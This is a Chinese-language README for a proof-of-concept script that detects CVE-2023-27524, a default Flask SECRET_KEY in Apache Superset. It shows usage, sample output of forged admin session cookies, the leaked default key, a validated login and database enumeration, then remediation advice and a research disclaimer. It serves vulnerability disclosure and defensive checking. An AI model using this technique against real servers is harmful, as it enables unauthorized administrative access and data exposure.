用于检查 Apache Superset 服务器是否运行在不安全默认配置下的脚本 (CVE-2023-27524)。该脚本检查 Superset 服务器的会话 cookie 是否使用任何已知的默认 Flask SECRET_KEY 进行签名。
--validate 标志可用于通过 Superset API 枚举数据库来验证可利用性。
更多详细信息请参见: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset 后续文章: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help 显示此帮助信息并退出
--url URL, -u URL Superset 实例的基础 URL
--id ID 伪造会话 cookie 的用户 ID,默认=1
--validate, -v 尝试验证登录
--timeout TIMEOUT, -t TIMEOUT
使用伪造会话 cookie 前的等待时间,默认=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
如果脚本检测到正在使用 SECRET_KEY 但无法验证可利用性,可能是以下原因:
--id 参数设置)请按照此处说明生成并配置一个 Flask SECRET_KEY。可以使用 superset CLI 工具轮换 SECRET_KEY,以保留现有的数据库连接信息。
本软件纯粹出于学术研究以及开发有效防御技术的目的而创建,不应用于攻击未经明确授权的系统。项目维护者不对软件的误用负责。请负责任地使用。